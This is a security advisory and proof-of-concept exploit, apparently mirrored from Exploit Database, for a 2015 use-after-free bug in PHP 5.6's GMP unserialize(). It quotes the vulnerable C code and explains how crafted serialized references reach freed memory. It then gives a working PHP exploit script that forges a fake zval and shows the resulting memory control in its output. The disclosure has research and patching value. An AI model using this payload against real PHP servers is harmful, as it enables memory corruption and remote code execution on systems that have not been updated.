PHP GMP – ‘unserialize()’ Use-After-Free

• Exploit Database
• 13 阅读

• 作者： Taoguang Chen
  日期： 2015-09-09
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38121/

• Use After Free Vulnerability in unserialize() with GMP
  
  Taoguang Chen <[@chtg](http://github.com/chtg)> 
  Write Date: 2015.8.17 
  Release Date: 2015.9.4
  
  A use-after-free vulnerability was discovered in unserialize() with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
  
  Affected Versions
  ------------
  Affected is PHP 5.6 < 5.6.13
  
  Credits
  ------------
  This vulnerability was disclosed by Taoguang Chen.
  
  Description
  ------------
  
  static int gmp_unserialize(zval **object, zend_class_entry *ce, const
  unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data
  TSRMLS_DC) /* {{{ */
  {
  ...
  
  INIT_ZVAL(zv);
  if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
  || Z_TYPE_P(zv_ptr) != IS_STRING
  || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
  ) {
  zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
  goto exit;
  }
  zval_dtor(&zv);
  
  INIT_ZVAL(zv);
  if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
  || Z_TYPE_P(zv_ptr) != IS_ARRAY
  ) {
  zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
  goto exit;
  }
  
  
  The GMP object's deserialization can create ZVAL and free its
  zval_value from memory via zval_dtor(). However during deserialization
  will still allow to use R: or r: to set references to that already
  freed memory. It is possible to use-after-free attack and execute
  arbitrary code remotely.
  
  Proof of Concept Exploit
  ------------
  The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
  
  <?php
  
  $inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}';
  $exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
  
  $data = unserialize($exploit);
  
  $fakezval = ptr2str(1122334455);
  $fakezval .= ptr2str(0);
  $fakezval .= "\x00\x00\x00\x00";
  $fakezval .= "\x01";
  $fakezval .= "\x00";
  $fakezval .= "\x00\x00";
  
  for ($i = 0; $i < 5; $i++) {
  $v[$i] = $fakezval.$i;
  }
  
  var_dump($data);
  
  function ptr2str($ptr)
  {
  $out = '';
  for ($i = 0; $i < 8; $i++) {
  $out .= chr($ptr & 0xff);
  $ptr >>= 8;
  }
  return $out;
  }
  
  ?>
  
  
  Test the PoC on the command line:
  
  $ php uafpoc.php
  array(2) {
  [0]=>
  int(1122334455)<===so we can control the memory and create fake ZVAL :)
  [1]=>
  object(GMP)#1 (2) {
  [0]=>
  array(1) {
  [0]=>
  int(4325299791)
  }
  ["num"]=>
  string(1) "1"
  }
  }